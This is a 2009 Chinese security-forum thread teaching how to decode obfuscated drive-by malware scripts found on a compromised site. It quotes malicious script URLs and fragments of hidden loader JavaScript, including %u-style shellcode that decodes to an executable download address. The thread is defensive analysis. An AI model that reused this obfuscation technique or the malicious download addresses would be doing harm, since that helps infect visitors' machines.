瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 网马解密技巧之——利用自身的解密函数来进行解密
networkedition - 2009-6-2 9:36:00


引用:

  我们在日常的网页挂马解密中,当我们遇到一个不会解密的网马时,可以通过在获取加密网马源代码中寻找出相应的解密函数来进行解密。也许你可能不太相信,网页挂马就是以加密的形式来隐藏自身,逃避杀毒软件的查杀,怎么可能会提供有解密函数(解密方法)呢?下面我们就来根据一个具体实例来进行讲解,也希望大家跟帖进行讨论,列举出相关实例。


 

引用:

  我们就以昨天瑞星每日安全播报中的“国际在线”这个被挂马网站为实例,以下是“国际在线”被挂马被分析出的恶意网址其中部分。

    Log is generated by FreShow.
    [wide]http://city.cri.cn/25364/more/25408/more25408_2.htm
                    [frame]http://55rewfewv.8866.org/a/ggr.htm
                        [script]http://55rewfewv.8866.org/a/Turl.js
                        [script]http://55rewfewv.8866.org/a/real.js
                        [script]http://55rewfewv.8866.org/a/real1.js





引用:

上述三个script脚本也是最近网马挂马中很常见的,也有不少初学解密网友来咨询如何进行解密,下面我们就来详细讲解一下。


用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
networkedition - 2009-6-2 9:37:00


引用:
在上述的网站中由 http://55rewfewv.8866.org/a/ggr.htm恶意网址链接,过滤出3个js:Turl.js、real.js、real1.js,我们先来看一下Turl.js这个js脚本来如何解密,以下是Turl.js通过freshow的check获取源代码截图





引用:
在红色框中内容大家是否很熟悉,这段代码在我们前期网马解密知识点中出现过。在初学解密网友可能遇到此类代码该不知道如何来进行解密。ok,我们暂时先不对这个Turl.js解密,我们接着往下来进行解密,看看在后续解密源码中能否找到我们需要解密一些函数。在这里我们先暂时跳过real.js脚本解密,直接来看real1.js这个脚本。


networkedition - 2009-6-2 9:54:00


引用:
我们来重点分析一下real1.js这个脚本源代码,在上述截图中红色框中标出内容如下:
document.writeln("KabasbCMD = unescape(QuadroSCR.replace(\/YT\/g,\"\\x25\\x75\"));");
  重点来看这部分:replace(\/YT\/g,\"\\x25\\x75\"),大家应该还记得在前面的Turl.js源码其中有一段代码也有很多YT


document.writeln("ShengFeng = unescape(\"YT7468YT7074YT2F3AYT772FYT616FYT6E69YT3269YT3433YT3635YT632EYT6D6FYT772FYT6265YT782FYT2E70YT7865YT0065YT0000




引用:
好接下来解释一下replace(\/YT\/g,\"\\x25\\x75\")这段代码含义:实际上就是将YT替换为%u,我们知道replace在js脚本中是替字符串的意思,\\x25\\x75\代表的是什么呢,实际就是%u,我们知道在freshow工具中esc这个解密选项具有可以转换%、%u、\x等形式的转义字符功能,我将\\x25\\x75\粘贴至freshow的上操作区域,两次esc后就会得到%u这个字符串



networkedition - 2009-6-2 10:10:00


引用:

那么在real1.js这个js脚本源文件内容中,实际就指出了Turl.js解密方法,即将YT替换为%u,在这里可能会有网友问,为什么不替换为其他的字符串,还记得shellcode特征嘛,以相同分隔符(一般为%u)分隔的4位一组的十六进制字符串,我们来仔细看一下:



引用:
YT7468YT7074YT2F3AYT772FYT616FYT6E69YT3269YT3433YT3635YT632EYT6D6FYT772FYT6265YT782FYT2E70YT7865YT0065YT0000这段代码很符合shellcode特征,只是以YT作为分隔符,ok,我们将YT替换为%u后就成为了标准的shellcode格式。替换方法在这里就不详细讲解了,可参考网马解密系列教程。替换为%u后两次esc就得出解密结果为:hxxp://woaini23456.com/web/xp.exe,至此我们就完成了Turl.js的解密。
happysunday2003 - 2009-6-2 17:14:00
貌似上次的就是这种情况

两个网页

谢谢楼主
dabydd - 2009-6-6 19:12:00
正在学习中
amaomao123 - 2009-6-7 10:26:00
看来我要好好学习了
kav2046 - 2009-7-19 22:41:00
感觉自己在网马解密方面还不是很熟悉,继续听楼主的讲课!:kaka9:
springyun - 2010-5-25 12:26:00
继续学习
鹰丶风少 - 2010-7-28 21:34:00
不替换的话:kaka2:
yalicuan - 2010-7-30 23:01:00
再看一遍
1
查看完整版本: 网马解密技巧之——利用自身的解密函数来进行解密